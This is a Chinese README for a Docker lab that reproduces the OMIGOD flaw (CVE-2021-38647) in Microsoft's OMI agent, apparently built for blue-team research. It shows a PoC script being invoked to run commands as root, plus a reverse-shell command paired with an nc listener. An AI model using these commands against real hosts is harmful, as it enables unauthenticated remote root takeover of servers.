开放管理基础设施(OMI,原名 NanoWBEM)是微软和开放组织共同开发的一款开源通用接口模型(CMI)管理服务器。OMI 是一种软件代理,存在于大多数 Azure Linux 虚拟机中,但许多人并不知道它的存在。
9 月 14 日,Wiz Research Team 发表了一篇文章,详细描述了 OMI 中的四个漏洞。这些漏洞被描述为易于利用,攻击者只需发送一个请求即可实现任意远程代码执行并提升至 root 权限。
CVE-2021-38647 是一个未认证的远程代码执行漏洞,通过发送精心构造的 HTTP 请求进行利用。CVE-2021-38647 允许攻击者以 OMI 代理用户(通常是 root)的身份执行命令。
OMI 代理在以下服务使用时的 Azure Linux 服务器上被广泛使用:
根据微软的说法,大多数使用 OMI 的 Azure 服务在部署时不会暴露 HTTP/S 端口。
本项目的目标是创建一个易于复制的演示环境,以便蓝队能够更容易地找到入侵指标(IoC)。为了实现这一目标,我创建了一个自定义 Docker 镜像,其中配置了存在漏洞的 OMI 版本。
根据你的设置,可能需要使用 sudo。
# Building the docker container
docker build . -t omi-god
# Running it
docker run --name=omi-god -it omi-god
现在你将获得 Docker 容器的 root 终端。你应该获取 Docker 容器的 IP 地址,可以通过以下命令完成:
# Add it to clipboard
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard
# Show it in terminal
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
当环境搭建好后,你可以尝试运行任何 PoC。要运行本项目中的 PoC,请执行以下命令:
# Execute any command as root
python3 omigod.py -t 172.17.0.2 -c id
-> uid=0(root) gid=0(root) groups=0(root)
# Get a reverse shell as root on the server
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444
IppSec 关于此漏洞及搭建类似环境的视频 - https://www.youtube.com/watch?v=TXqi1BKtcyM 本项目搭建的环境基于 IppSec 的视频。
horizon3ai PoC - https://github.com/horizon3ai/CVE-2021-38647 本项目中的 PoC 基于 horizon3ai 的 PoC。
更多详情请参阅原始研究人员的工作:https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
所有低于 v1.6.8-1 的 OMI 版本均受影响。
已发布修复此漏洞的补丁版本。请更新并确保版本号为 1.6.8.1 或更高。
本软件纯粹出于学术研究和开发有效防御技术的目的而创建,除非得到明确授权,否则不得用于攻击系统。项目维护者不对软件的滥用承担任何责任。请负责任地使用。